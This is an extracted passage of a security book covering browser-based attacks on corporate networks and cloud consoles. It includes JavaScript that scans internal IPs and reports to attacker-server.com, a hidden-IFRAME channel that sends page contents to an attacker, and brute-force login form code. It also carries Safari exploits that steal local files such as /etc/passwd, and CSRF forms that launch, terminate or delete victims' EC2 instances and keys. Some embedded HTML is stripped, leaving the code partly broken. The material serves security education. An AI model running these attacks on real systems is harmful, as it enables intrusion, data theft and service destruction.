document.body.innerHTML=iframeHTML;\n...\nsetInterval('controlFrameFunction()',5000);\n...\nThe Picture frame is set to width=100% and height=100%, causing the frame to occupy\nthe entire browser window. The other two frames are set to width=0% and height=0%,\nmaking them invisible to the user. The controlFrameFunction() method is specified to\nbe executed every five seconds (5,000 milliseconds). The controlFrameFunction() call\ncreates the Control Channel IFRAME. The Control Channel IFRAME requests an ex-\nternal JavaScript payload from the attacker’s web server (execute.js). Because\ncontrolFrameFunction() is called with setInterval() set to a timer of 5000, the Control\nChannel IFRAME is rewritten every five seconds, causing the victim’s browser to re-\nquest a new JavaScript payload (execute.js) from the attacker’s web server every five\nseconds. Here are the significant portions of the controlFrameFunction() call:\nfunction controlFrameFunction(){\n var controlFrameHTML = \"\";\n controlFrameHTML += \"\";\n controlFrameHTML += \"\";\n36 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 53, "text": " controlFrameHTML += \"\";\n var controlFrame = document.getElementById('Control');\n var controlContents = controlFrameHTML;\n var newControlContents = controlFrame.contentWindow.document;\n newControlContents.open();\n newControlContents.write(controlContents);\n newControlContents.close();\n}\nThe attacker can dynamically change the contents of execute.js so that unique, targeted\npayloads are delivered every five seconds to the victim. In this scenario, the JavaScript\nloaded by the Control Channel IFRAME instructs the victim’s browser to grab\nthe HTML source of the current page and uses the Data Channel IFRAME to ferry the\nHTML source back to the attacker’s server. The attacker’s web server receives the\nHTML from the current page, uses a server-side script to parse the HTML for links to\nmore data, and dynamically changes the JavaScript loaded by the Control Channel\nIFRAME (execute.js), which in turn instructs the Control Channel IFRAME to request\nthese new pages. This cycle repeats until all the pages have been captured from the\nvictim’s web application.\nThe automated nature of these types of attacks makes them extremely stealthy, allowing\nthe attacker to copy the victim’s data onto her remote server to analyze at leisure.\nEmployees who fall victim to attacks such as this can literally lose all of their data within\na matter of seconds. Depending on the sensitivity of the data stored by the vulnerable\napplication, significant business and competitive intelligence can be lost or\ncompromised. \nCross-Site Request Forgery (CSRF)\nCross-site request forgery (CSRF) is an extremely popular attack vector. Outside at-\ntackers often use it to perform transactions on corporate intranet applications that are\nnot accessible externally. CSRF takes advantage of the vulnerable application’s inability\nto distinguish legitimate transaction requests against requests from the victim’s browser\nthat are a result of malicious client-side code. As with XSS, the scope of this chapter is\nbeyond simple CSRF tactics. This section assumes the reader is familiar with the con-\ncept of CSRF. The goal of this section is to illustrate how sophisticated attackers can\ncombine CSRF and other attacks to maximize exploitation.\nTo gather some elementary knowledge about CSRF, visit http://www\n.owasp.org/index.php/CSRF.\nCross-Site Request Forgery (CSRF) | 37\nDownload at WoWeBook.Com\n" }, { "page_number": 54, "text": "Inside-Out Attacks\nAttacking internal network resources from the outside adds a bit of complexity and\ntypically changes an attacker’s attack landscape. Attacks against internal resources are\noften targeted toward large corporations with large numbers of network devices and\nenterprise software that create a target-rich environment for the attacker. In this section,\nwe’ll discuss a scenario in which the attacker is able to remotely manipulate an internal\nemployee’s web browser to attack the internal resources of a large corporation.\nThe typical internal corporate web application is protected from access from attackers\non the Internet by the use of corporate firewalls. The basic illustration in Figure 2-6\nshows how a typical corporate internal application is protected.\nFigure 2-6. Typical firewall deployment\nAttackers cannot directly connect to applications residing behind network firewalls\nthat prohibit incoming requests. Many corporations take comfort in the (flawed) belief\nthat external attackers cannot reach their internal applications. This often promotes\ncomplacency when deploying, developing, and securing these internal applications.\nThis complacency typically results in internal applications being put into production\nwithout the latest patches or service packs, resulting in older, outdated versions of\napplications running within the corporate perimeter.\nIn the following example, we will target a popular network management software suite\nwith known XSS vulnerabilities: WhatsUp Gold 2006, by Ipswitch. We selected\nWhatsUp Gold because it is an enterprise application that corporations use extensively\non their internal networks, and because it is seldom seen on Internet-facing machines.\nThe WhatsUp Gold network management console provides a wealth of information\nrelated to the internal corporate network. Although this example is specific to WhatsUp\nGold, you can apply the same principles to any web application with XSS and CSRF\nvulnerabilities behind an organization’s perimeters and firewalls. Administrative con-\nsoles, web-based frontends for databases, and network monitoring tools such as\nWhatsUp Gold are especially valuable to attackers, as they can use these tools to quickly\nfootprint an entire organization’s internal network layout, and therefore gain additional\ntargets as well as their exact locations on the internal corporate network.\nTraversing the corporate firewall to attack an internal application may seem like an\ninsurmountable task, but attackers have the advantage of knowing that most corporate\n38 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 55, "text": "firewalls make exceptions to HTTP traffic. Although an attacker cannot force arbitrary\nHTTP content through the firewall, the attacker can execute code she controls behind\nan organization’s perimeter if an employee “invites” it in. As we mentioned earlier in\nthe chapter, untrusted client-side code is “invited” into the organization’s perimeter\nevery time an employee opens a browser and visits an external web page. With this\nthought process in mind, the organization of the attack changes. The attacker does not\nneed to directly target the internal web application. Instead, the attacker must lure an\nemployee to an attacker-controlled web page and use the employee’s web browser as\na proxy to attack the internal application.\nFigure 2-7 shows a victim browsing to the Internet from within a corporate perimeter,\nbehind the protection of a corporate firewall. In this scenario, the victim decides to visit\nan arbitrary web page, which unbeknownst to him has an exploited persistent XSS\nvulnerability. The persistent XSS vulnerability has injected a script src HTML tag to\nreference a JavaScript payload from the attacker’s web server. The victim’s browser\nautomatically retrieves the JavaScript payload from the attacker’s web server and exe-\ncutes the JavaScript in the victim’s browser (which is inside the corporate firewall). The\nJavaScript payload contains code to establish a direct control channel between the\nvictim’s web browser and the attacker. The JavaScript payload also contains attacks\nagainst the internal application that the unsuspecting corporate user’s browser will\ncarry out.\nFigure 2-7. Using a corporate user as a proxy to the internal network\nAttacks such as these begin with reconnaissance of the targeted internal web applica-\ntion. Although the enumeration and identification of vulnerabilities associated with\ninternal network resources represent one of the more tedious portions of an attack,\nattackers are aided by the fact that most of the network devices and enterprise software\nCross-Site Request Forgery (CSRF) | 39\nDownload at WoWeBook.Com\n" }, { "page_number": 56, "text": "that major corporations use are often publicly available (e.g., in the form of demos and\ntrial editions). This gives attackers the ability to identify weaknesses in common en-\nterprise software as well as to develop strategies for footprinting and enumeration.\nDetailed information on vulnerabilities affecting enterprise-level software is also avail-\nable scattered among thousands of security forums, bulletins, and blogs, further helping\nthe attacker build her arsenal of attacks. Figure 2-8 shows an advisory against a known\nXSS vulnerability in WhatsUp Gold Professional that the attacker can leverage.\nSeveral XSS vulnerabilities exist in the WhatsUp Gold Professional application. For this\nscenario, let’s assume the attacker recognizes an XSS vulnerability in the sHostname\nparameter:\nhttp://WhatsUPGoldServer/NmConsole/ToolResults.asp?\nbIsIE=true&nToolType=0\n&sHostname=\n&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping\nNow that the attacker has identified an XSS vulnerability on an internal resource, she\ncan begin to launch targeted attacks by luring corporate employees to visit a web page\nthat she controls. She can do this via targeted emails or by poisoning a website fre-\nquented by corporate employees that may be vulnerable to persistent XSS (DNS cache\nsnooping can help with this task). Once the attacker has found a suitable victim, she\nFigure 2-8. Public XSS vulnerabilities for enterprise software\n40 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 57, "text": "must enumerate the corporation’s internal network to find the location of the vulner-\nable software. Most corporations follow the RFC 1918 style for assigning IP addresses\nto their internal networks. According to that RFC, the following addresses are consid-\nered “private address space”:\n10.0.0.0 10.255.255.255 (10/8 prefix)\n172.16.0.0 172.31.255.255 (172.16/12 prefix)\n192.168.0.0 192.168.255.255 (192.168/16 prefix)\nThese addresses are considered “non-routable” and the attacker cannot reach them\ndirectly; therefore, the attacker must use the corporate user’s browser as a proxy to\nattack the internal network. Once the corporate user has fallen victim to an XSS attack,\nthe attacker can use JavaScript to scan the corporation’s internal network for the vul-\nnerable WhatsUp Gold installations.\nAlthough general-purpose JavaScript code for web server enumeration and port scan-\nning exists, the attacker in this scenario only needs to scan the corporation’s internal\nnetwork for vulnerable versions of WhatsUp Gold. The attacker can begin the scan by\nidentifying the location (IP addresses) of images (.jpg and .gif files), which are associated\nwith WhatsUp Gold installations. The presence of an image (on a web server) associ-\nated with a WhatsUp Gold installation indicates that a WhatsUp Gold instance is in-\nstalled at that IP address. Because the victim is a corporate employee, his system is on\nthe corporate internal network and behind the firewall. This situation allows the at-\ntacker to make the victim’s browser scan the corporation’s private address space. In\nthis example, consider that the attacker knows that default installations of WhatsUp\nGold serve the following GIF image file:\nhttp://hostname/NmConsole/images/logo_WhatsUpProfessional.gif\nThe attacker must check each IP address on the corporate internal network for the\npresence of this GIF file. If the GIF image file exists at a specific location, the attacker\nknows that a vulnerable version of the software may be located at that IP address. Using\nthis technique, the attacker develops JavaScript code that will scan a corporate internal\nnetwork (from IP address 192.168.58.100 to 192.168.58.200) for instances of WhatsUp\nGold installations. Once an instance is discovered, the attacker is notified by a message\ndelivered to her web server. Here is the JavaScript code (for the sake of clarity, the\npayload will limit the scan to 100 internal IP addresses):\nvar myimages = new Array();\nvar imageLocations = new Array();\nvar arraycounter = 0;\nvar payloadtoattacker = new Image();\nfor (i=100; i<=200; i++)\n{\n imageLocations[arraycounter] =\n \"http://192.168.58.\"+i+\"/NmConsole/images/logo_WhatsUpProfessional.gif\";\n arraycounter++;\n}\nCross-Site Request Forgery (CSRF) | 41\nDownload at WoWeBook.Com\n" }, { "page_number": 58, "text": "function preloading(){\n for (x=0; x < imageLocations.length; x++){\n myimages[x] = new Image();\n myimages[x].src = imageLocations[x];\n }\n}\nfunction fingerprint(){\n for(numofimages = 0; numofimages < myimages.length; numofimages++){\n if (myimages[numofimages].width==0)\n {\n }\n else\n {\n payloadtoattacker.src=\"http://attacker-server.com/scanner.php?\n title=WhatsUPGOLD2006@\"+myimages[numofimages].src; \n }\n}\npreloading();\nsetTimeout('fingerprint()',5000);\nOnce the internal IP addresses of the WhatsUp Gold servers are enumerated, the IP\naddresses are sent to the scanner.php file on the attacker’s server on the Internet. The\nscanner.php file simply records the name and location of vulnerable software on the\ncorporate internal network. Here is the source code for a simplified version of\nscanner.php:\n\nAn examination of the logfile generated by the scanner.php script shows the location(s)\nof the vulnerable WhatsUp Gold server in the internal corporate network. Figure 2-9\nshows a sample logfile generated by scanner.php.\n42 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 59, "text": "Figure 2-9. Logfile on the attacker’s server containing locations for vulnerable services on the victim’s\ninternal corporate network\nA change in the logfile generated by scanner.php on the attacker’s server notifies the\nattacker that the corporate internal network has a WhatsUp Gold installation at http://\n192.168.58.144. Now that the attacker has identified the exact location of the WhatsUp\nGold installation on the corporate internal network, she can begin an attack against\nthe vulnerable installation. For the sake of clarity, the example will be confined to a\nsingle XSS vulnerability against the WhatsUp Gold application. In a real-world sce-\nnario, the attacker may fingerprint several different applications located on the corpo-\nrate internal network and attack multiple applications simultaneously.\nThe attacker may hope that the victim is already logged into the WhatsUp Gold server.\nIf the victim happens to be logged into the WhatsUp Gold network management con-\nsole at the exact moment of the attack, the attacker can abuse XSS to immediately\nmasquerade as the corporate user and instantly begin authenticated attacks against the\nWhatsUp Gold management console. In this example (as is likely in real-world attacks),\nthe victim is not logged into the WhatsUp Gold network management console at the\ntime of the attack. With no active session, the attacker must first force the victim’s\nbrowser to establish a valid session using a mixture of CSRF and XSS.\nIf the WhatsUp Gold network management console has an XSS vulnerability in the\nunauthenticated areas of the interface, the attacker can use the victim’s browser to\nimmediately jump to the XSS vulnerability and begin attacks against the internal net-\nwork management console. In this scenario, no XSS vulnerabilities exist in the\nunauthenticated portions of the network management interface. Although this may\nseem to be yet another insurmountable hurdle for the attacker, the attacker can actually\nuse the lack of unauthenticated XSS to her advantage and begin a brute force attack of\na valid username and password for the internal network management console. The\nattacker begins the brute force attack by first defining the username and password lists.\nFor the sake of clarity, this example will simply use three common usernames and three\ncommon passwords associated with WhatsUp Gold installations. In a real-world sce-\nnario, the attacker would have a larger, more robust username and password list. The\nusernames and passwords to be assumed in this example are:\nUsernames: administrator, whatsup, admin\nPasswords: password, admin, administrator\nThese usernames and passwords are placed into JavaScript arrays to facilitate the brute\nforce attack. Here is the JavaScript containing the username and password lists:\nvar usernameList = new Array(\"administrator\",\"whatsup\",\"admin\");\nvar passwordList = new Array(\"password\",\"admin\",\"administrator\");\nCross-Site Request Forgery (CSRF) | 43\nDownload at WoWeBook.Com\n" }, { "page_number": 60, "text": "Once the attacker has built her username and password list, she can examine how the\nlogin process for WhatsUp Gold is initiated. Although there are several methods for\nexamining the WhatsUp Gold login process, the simplest way is for the attacker to\ndownload a trial version of the WhatsUp Gold software and capture the login process\nwith an HTTP proxy. Using an HTTP proxy, the attacker determines that the login\nprocess for WhatsUp Gold is as follows:\nPOST /NmConsole/Login.asp HTTP/1.1\n[standard HTTP headers]\nHost: WhatsUPGoldServer\n[POST PARAMETERS]\nblsJavaScriptDisabled=false&sLoginUserName=USERNAME\n&sLoginPassword=PASSWORD&btnLogin=Log+In&blsIE=true\nAlthough most HTTP servers allow POST parameters to be passed as GET query string\nparameters, the HTTP server associated with WhatsUp Gold does not. This makes the\nfollowing example a little more complicated, but more realistic. Instead of building a\nnumber of GET requests with usernames and passwords in the query string, the attacker\nmust now create a FORM for each username/password attempt. She can do this through\nthe use of JavaScript to dynamically write the appropriate FORM elements, and use the\nJavaScript submit() method to automatically POST the dynamically created FORM ele-\nments. The JavaScript that provides the foundation for FORM creation appears in the\nfollowing code. The code expects the user to provide a value for the username, pass-\nword, login URL, and POST parameters needed to execute a login attempt on the\nWhatsUp Gold server. Once the required values are provided, the FORM element is au-\ntomatically submitted to the vulnerable server.\nvar frame3html = '
';\n frame3html += '';\n frame3html += '';\nfor (var op=0, oplen=otherparametersLength; op';\n}\nframe3html += '';\nframe3html += '\n\n\nOnce the attacker has created all the pieces needed for a PDFAR attack, the actual\nattack begins by uploading the PDFAR to Google Docs. Google Docs allows users to\nupload PDF files, but applies several security checks to verify the correct file type is\nbeing uploaded. The PDFAR easily meets all of Google’s security checks and is allowed\nonto Google Docs. Figure 2-19 shows the PDFAR uploaded to Google Docs. As the\nfigure demonstrates, the PDF is fully intact and renders perfectly. What is not apparent\nto the victim is the fact that the PDFAR houses a fully functional, malicious attack\napplet.\nOnce the attacker has uploaded the PDFAR to Google Docs, she selects the victims to\ntarget with this attack. Google Docs explicitly allows for the sharing of documents and\nexposes public functionality to share the PDFAR with other users. The attacker simply\nselects the PDFAR, right-clicks, and selects the Share option. Figure 2-20 shows the\nShare option that is publicly available to all Google Docs users.\nFigure 2-19. PDFAR uploaded to Google Docs\n60 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 77, "text": "Once the attacker has chosen to “share” the PDFAR, Google Docs asks the attacker to\nprovide the email addresses of the victims to be targeted. This is an ideal situation for\nthe attacker as the email will be generated and sent from the Google Docs server. Having\nthe email sent from a Google server makes it more likely that the targeted email will\npass any email filtering a corporation may have in place. In this example, the attacker\nchooses executive@gmail.com as the victim and crafts a targeted message for the victim.\nFigure 2-21 shows the attacker-crafted message.\nFigure 2-21. Targeted message sent to the victim\nAs Figure 2-21 shows, the attacker provides the victim a link for some “interesting\nanalysis” related to the “PDF you requested.” An examination of the hyperlink shown\nFigure 2-20. Sharing options available for malicious PDFARs\nAdvanced Content Ownership Using GIFARs | 61\nDownload at WoWeBook.Com\n" }, { "page_number": 78, "text": "in Figure 2-21 shows a malicious web page being served from http://translate.google\n.com. Translate.google.com is the translation service Google offers. Attackers can abuse\nGoogle’s translation service by requesting a “translation” of an attacker-controlled page\nwith malicious content. In the example in Figure 2-21, the attacker has requested that\nGoogle translate all the Spanish on the malicious page to English. Since the malicious\npage contains no Spanish, the original content for the malicious page remains intact\nbut the content is now served from a Google domain. Although we used Google’s\ntranslation service in this example, other popular domains also have translation services\nthat attackers can abuse in this manner. When the victim visits the page at the end of\nthe hyperlink, the malicious page automatically loads the attack applet in the victim’s\nbrowser and begins stealing the documents stored by the online document store. Since\nthe applet is loaded in the victim’s browser, the attack applet is able to use the victim’s\nsession cookies when making HTTP requests back to the Google Docs server, giving\nthe attacker access to the victim’s documents. The applet first makes a request to https:\n//docs.google.com/?tab=mo, where the applet can begin enumeration of all the victim’s\ndocuments stored within the online document store. Once the documents from the\ndocument store are enumerated, the attacker drives the applet to begin copying the\ncontents of each document from the online document store. Once the contents are\npilfered, they are ferried to the attacker’s website. This copying is done silently, without\nany error messages or system warnings. The original documents are left intact, making\nit difficult for the victim to realize he just had all his documents stolen. If the attacker\nchooses to automate this attack, the malicious page would need only a few seconds to\nmake copies of every single document.\nIn this scenario, if an organization had chosen to utilize Google Docs (or other online\ndocument stores or team portals) to store its corporate documents, the attacker would\nhave gained access to the document store as though she were an insider. Strong pass-\nword policies, SSL, corporate firewalls, and antivirus technology would not have stop-\nped this attack. All the pieces of the attack appeared to come from trusted sources: the\nPDFAR was hosted on Google’s domain, the targeted email came from Google’s serv-\ners, and even the hyperlink to the web page that was serving malicious content was\nfrom Google. With so many pieces pointing to trusted, well-known sources it becomes\nvirtually impossible to filter or block incoming attacks (unless the sys-admin blocks\naccess to Google). Once the attack is completed, investigating it is extremely difficult\nas all the server logs will point to legitimate users, content will have been served from\ntrusted sources, and very little evidence of wrongdoing will remain on the victim’s\nmachine.\n62 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 79, "text": "The authors worked closely with Sun Microsystems to tighten the be-\nhavior of the JAR parsing criterion for the Java JRE. As of JDK/JRE\nversion 1.6_10, many of the techniques we described in this section can\nno longer be employed in online attacks. Although this specific techni-\nque cannot be used against current JRE versions, the majority of content\nownership techniques still apply (HTML files, crossdomain.xml, Java\nJARs, etc.).\nStealing Files from the Filesystem\nUp until this point, the examples we have presented have focused on stealing a victim’s\nonline information, data, and documents. Although more and more organizations and\nindividuals continue to embrace the benefits of online storage and collaboration por-\ntals, many organizations and individuals remain leery of some of the dangers associated\nwith online storage, online document repositories, and collaboration portals. These\norganizations and individuals prefer the safety and control of their own computer sys-\ntem and store all of their sensitive documents on their local hard drive. In essence, such\norganizations fall back into the perimeter-based model by restricting information be-\nhind a set perimeter, in this case their local desktops.\nBusinesses, no matter how restrictive in terms of policies, must allow their employees\nto use web browsers to access information online. Although every major browser has\nsecurity mechanisms that prevent remote sites from accessing content stored on the\nuser’s local filesystem, these security mechanisms are not foolproof, and from time to\ntime weaknesses in implementation create opportunities for remote hackers to steal an\norganization’s data right off the desktop of even the most protective employees. In this\nsection, we will demonstrate real-world vulnerabilities that we discovered, some of\nwhich can allow attackers to use a victim’s web browser to steal sensitive documents\nfrom the local filesystem!\nSafari File Stealing\nIn the next few sections, we will discuss and demonstrate two separate vulnerabilities\nfound in the Safari browser that could allow attackers located outside a company’s\nperimeter to steal local files from the user’s filesystem. Although we chose the Safari\nbrowser for the examples, all browsers can have the same types of vulnerabilities.\nThe feed:// protocol handler\nSafari is a WebKit-based browser developed by Apple. When a user has Safari installed\non his machine, Safari registers the feed:// protocol handler to handle various RSS and\nAtom feeds. This feature is convenient to Safari users because they no longer have to\ndownload a separate RSS reader. It is clear that Apple understood the dangers of ac-\ncepting feeds from arbitrary websites by imposing two important security measures.\nStealing Files from the Filesystem | 63\nDownload at WoWeBook.Com\n" }, { "page_number": 80, "text": "The first security measure ensured that remote web pages could not call the feed://\nprotocol handler directly. This lowers the attack surface as Safari users must manually\nadd feeds, as opposed to letting remote sites automatically add feeds. The second\nfeed:// security measure the Safari browser implemented ensured that the XML files that\nprovided the feed content were sanitized before the browser used them. The impact of\nallowing arbitrary script or XSS to run on web pages using HTTP is very well under-\nstood. The impacts of allowing arbitrary script to run under protocols other than HTTP\n(feed://, chrome://, gopher://, etc.) are not as well known and will vary from browser to\nbrowser. In many instances, arbitrary script executed under protocols other than HTTP\ncan allow remote web pages access to the local filesystem or even remote command\nexecution.\nWe discovered that to defeat the first security measure, all an attacker would need to\ndo is host a malicious web page that simply makes use of an HTTP 302 redirect response\nto redirect the browser to a feed:// URL. Here is the PHP code (steal.php) an attacker\ncan use to perform this redirection:\n\nOnce the browser is redirected to a feed:// URL, the attacker must bypass the second\nsecurity measure. The Safari browser attempts to sanitize the XML file provided to the\nfeed:// protocol handler to prevent the XML feed file from supplying arbitrary JavaScript\ncontent. In the Safari architecture, executing JavaScript supplied in the XML feed file\nis essentially the same as allowing JavaScript within the local filesystem context. An\nattacker can use the following XML feed file (FileSteal.xml) to bypass Safari’s XML feed\nsanitization efforts:\n\n\n64 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 81, "text": "A close inspection of the source code snippet shows that a BODY tag, with two onload\nattributes, is used. The second onload attribute is prefaced with a < tag. When the Safari\nengine encounters the onload attributes, it simply prohibits the second onload attribute\nwhile leaving the initial onload attribute intact for processing. Fortunately for the at-\ntacker (and unfortunately for the victim), the initial onload attribute contains JavaScript\ncode that executes with higher privileges because it is executed in the context of the\nlocal filesystem, as discussed earlier.\nAs Figure 2-22 shows, using a malicious feed file, the remote attacker’s website can\nsteal the contents of any file on the victim’s filesystem. Although the example simply\nplaces the content of the c:\\windows\\win.ini file into a JavaScript object and shows the\nfile contents in a JavaScript alert() window, attackers can use this technique to ferry\nthe contents of sensitive files from the victim’s local filesystem to their servers.\nThe preceding example targeted Windows-based systems; however, Safari browsers on\nOS X are also vulnerable to file stealing using this technique. The following exploit\npayload is specifically targeted toward Safari on OS X:\n\nStealing Files from the Filesystem | 65\nDownload at WoWeBook.Com\n" }, { "page_number": 82, "text": "Figure 2-22. Files stolen from the local filesystem with Safari\nAlthough this example used the c:\\windows\\win.ini and /etc/passwd files to demonstrate\nbrowser vulnerability, an appealing set of files targeted by sophisticated attackers are\nSafari’s cookies and password files. These files could allow an attacker to gain access\nto clear-text usernames and passwords or masquerade as the victim on online systems.\nThis attack can be done silently, with little or no indication to the user, and is extremely\ndifficult to detect.\nUsing Java to steal files\nThe vector discussed in this section can allow malicious attackers to steal files from the\nlocal filesystem of Safari browser users by exploiting the way Safari handles interactions\nwith Java applets. \nConsider the situation where the victim ends up visiting a website that is controlled by\nan attacker. Once the victim is on the attacker’s web page, the attacker serves HTML\ncontent that in turn loads a Java applet. Inside the applet is a call to getAppletCon\ntext().showDocument(URL). The attacker declares the method public so that she can\ninitiate the method from JavaScript also located on her web page. Once the attacker\nhas the ability to call the method from JavaScript, she can dynamically control the Java\napplet using active scripting on the HTML page the victim loaded. Here is the source\ncode of the malicious applet:\n66 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 83, "text": "public void showDoc(String temp)\n{\n//convert the string to URL\ntry\n {\n userUrl = new URL(temp);\n }\ncatch (Exception e)\n {\n System.out.println(\"String to URL conversion problem\");\n }\n// Call the Browser and Open a New Browser Window (\"_blank\") with our Location\ntry\n {\n getAppletContext().showDocument(userUrl,\"_blank\");\n }\ncatch (Exception ma)\n {\n System.out.println(\"showDocument doesn't like the URL\");\n }\n}\nThe attacker’s website invokes the applet in the following manner:\n\n\n\n\n\n\n\ngetAppletContext().showDocument(URL) will cause the Safari browser to open a new\nbrowser window with the URL passed to it. Normally, browsers will not let remote\nsites open new browser windows that point to local files. However, due to a vulnera-\nbility that prevented Safari from determining the appropriate privilege context for these\ncases, Safari allowed Java applets using getAppletContext().showDocument() to force\nthe browser to browse and execute files on the user’s local filesystem.\nSimply redirecting the browser to a local file isn’t very useful unless the attacker can\nmake the browser execute content that she controls. To get around this, the attacker\nmust plant content onto the victim’s local filesystem and then redirect the browser to\nthat content. Safari, by default, has a reasonably predictable location where it down-\nloads files. If the victim is lured to visit an attacker control page at http://attacker-\nserver.com/download.cgi, the download.cgi script can force the victim’s Safari browser\nto download the FileSteal.html file onto the victim’s default download directory (/Users/\nusername/Downloads/ in OS X and c:\\Documents and Settings\\Username\\Desktop\\ in\nWindows):\nStealing Files from the Filesystem | 67\nDownload at WoWeBook.Com\n" }, { "page_number": 84, "text": "#!/usr/bin/perl\nprint \"content-disposition: attachment; filename=FileSteal.html\\n\";\nprint \"Content-type: blah/blah\\n\\n\";\nThe preceding Perl code demonstrates the insecure file download be-\nhavior for Safari versions earlier than 3.1.2. Although the insecure file\ndownload behavior was changed as of Safari 3.1.2, Safari continues to\nhave a predictable caching scheme for temporary files.\nHere is the HTML source for the FileSteal.html file:\n\n\n \n\n\nOnce the FileSteal.html file has been planted onto the victim’s machine (via insecure\ndownload or predictable caching), the attacker uses the Java applet technique discussed\nearlier to redirect the browser to the FileSteal.html file on the local filesystem. This will\ncause Safari to execute JavaScript in FileSteal.html with the privileges of the local\nfilesystem.\nThe FileSteal.html example is just a proof of concept that shows how to simply place\nthe contents of the c:\\windows\\win.ini file into a JavaScript object and shows the file\ncontents in a JavaScript alert() window. However, instead of launching this proof of\nconcept, the attacker can supply the following HTML to take remote control of the\nvictim’s browser by using script src.\nThis example uses a meta refresh of 5, allowing the attacker to deliver a new JavaScript\npayload to the victim’s browser every five seconds. Safari allows script to be executed\nfrom local files without warning, allowing the attacker to remotely steal every sensitive\nfile on the machine without user interaction or warnings.\n68 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 85, "text": "\n\n\n \n\n\nThese two CSRF attacks are combined into a single attack via the following HTML:\n\n\n\n\n\n\nThe victim will not see the attack occur on the attacker’s page as the IFRAMEs are\nhidden (height of 0 and width of 0). However, for the sake of clarity, we will describe\nboth initialize.html and launch.html. First, the attacker initializes the evil AMI. The\nhidden IFRAME contains the initializing page from EC2, which is displayed in Fig-\nure 5-8.\nThe initialization page shown in Figure 5-8 requests several options from the EC2 user.\nThese options are essential to configuration of the AMI instance that will be launched.\nNormally, the EC2 user simply provides the values to the various options and clicks\nthe Launch button. In this case, the attacker uses the launch.html page to supply the\nvalues on behalf of the victim, launching the AMI instances under the EC2 victim’s\naccount with the attacker-supplied settings (see Figure 5-9).\nOnce the evil AMI is launched from the victim’s EC2 account, that AMI can perform\na number of malicious actions. The evil AMI can initiate attacks against Internet-facing\ninfrastructure, initiate attacks against the victim’s other AMIs, service phishing sites,\nor even attack Amazon’s infrastructure.\nThe second CSRF vulnerability is simpler than but as devastating as the first CSRF\nattack. Once again, all that is required is that the EC2 user visit the attacker’s page\nAttacks Against the Cloud | 133\nDownload at WoWeBook.Com\n" }, { "page_number": 150, "text": "while logged into Amazon. This CSRF vulnerability terminates arbitrary AMIs being\nrun by the victim.\n\n\n
\n\n\n\n
\n\n\n\nIn this attack, the attacker chooses the AMI instance ID of the victim to terminate. If\nthe victim is running a critical application from within the EC2 cloud, the attacker will\nhave terminated that AMI, making the service unavailable and possibly deleting the\ndata associated with the application. After the attack is launched, the victim can see\nthat the instance was terminated without her consent. Figure 5-10 shows the aftermath\nof a successful attack.\nFigure 5-10. Application terminated without the user’s consent\nThe last vulnerability against the Amazon web management console that we will\npresent here involves the deletion of AMI key pairs. When an AMI is created, the EC2\nuser has the option of using a public/private key pair for authentication to the AMI\ninstances. Key pairs are typically considered to be more secure than typical passphrases,\nand Amazon even recommends them as a secure method for authentication to AMI\ninstances. If the EC2 user elects to use key pairs, she provides the public key to the AMI\nand uses the private key located on her client system to authenticate to the AMI. The\nEC2 web management portal shows the various key pairs registered to a particular user\nin the Key Pairs dashboard screen (see Figure 5-11).\nNaturally, the key pair (the private key in particular) is considered extremely sensitive\nand should be protected. Using a CSRF vulnerability, an attacker has the ability to\ndelete arbitrary key pairs from a victim’s EC2 session. If the key pair is deleted, that\nkey pair can no longer be used to authenticate to any of the AMIs. If the user has not\nproperly backed up the key pair, she will have lost access to her own AMIs! Once again,\nall that is required is that the victim browse to an attacker-controlled page while she is\nAttacks Against the Cloud | 135\nDownload at WoWeBook.Com\n" }, { "page_number": 152, "text": "logged into Amazon.com. Here is the HTML source that will delete the EC2 user’s key\npair without her consent:\n\n\n
\n\n\n\n
\n\n\n\nOnce all the key pairs for the EC2 user are deleted, the EC2 user will see the message\nin Figure 5-12. If the EC2 user failed to properly back up her key pair, she will be unable\nto use this particular key pair for future AMIs.\nThe next set of CSRF vulnerabilities reported to Amazon affected the Amazon Web\nServices (AWS) portals. AWS is the most widely used method for administering and\nmanaging AMIs. AWS was the first method Amazon provided to manage AMIs and is\ngenerally considered the most secure option for AMI administration. Once again, EC2\nusers implicitly accept the security risks of the management consoles (AWS and the\nWeb Management Console) and are at the mercy of the console provider to appropri-\nately secure the management console. As we mentioned earlier, EC2 provides a few\noptions for authenticating users to the EC2 web services and AMIs. The three most\ncommon methods of authentication are a username/password combination, an Access\nKey ID/Secret Access Key combination, and X.509 certificates. The attacks we describe\nFigure 5-11. Key pairs registered with EC2\n136 | Chapter 5: Cloud Insecurity: Sharing the Cloud with Your Enemy\nDownload at WoWeBook.Com\n" }, { "page_number": 153, "text": "in this section focus on the Access Key ID/Secret Access Key and X.509 certificate forms\nof authentication.\nThe first attack against AWS generates a new access key for the EC2 user’s session.\nAccess keys are used to authenticate a user to AWS, which is used to administer and\nmanage the various AMIs running in a user’s account. When a new key is generated,\nthe old key is considered obsolete and can no longer be used to authenticate to the\napplication. If the attacker can force the generation of a new key, the attacker can create\na temporary denial of service as the administrator must now update all the applications\nutilizing access key authentication to use the newly generated key. The attack begins\nwith a CSRF attack that initializes the key generation process (initialize-generate-\nkey.html). Here is the HTML source for the GET request:\n\n\n\n\n\nOnce the key generation process is initiated, the attacker follows up the first CSRF\nattack with a second CSRF attack. The second attack automatically submits an HTML\nform via a POST request (with the victim’s session) to the AWS portal, launching the\nkey generation process. Here is the HTML source for the second CSRF attack (generate-\nkey.html):\n\n\n
\n\n\n\n\n
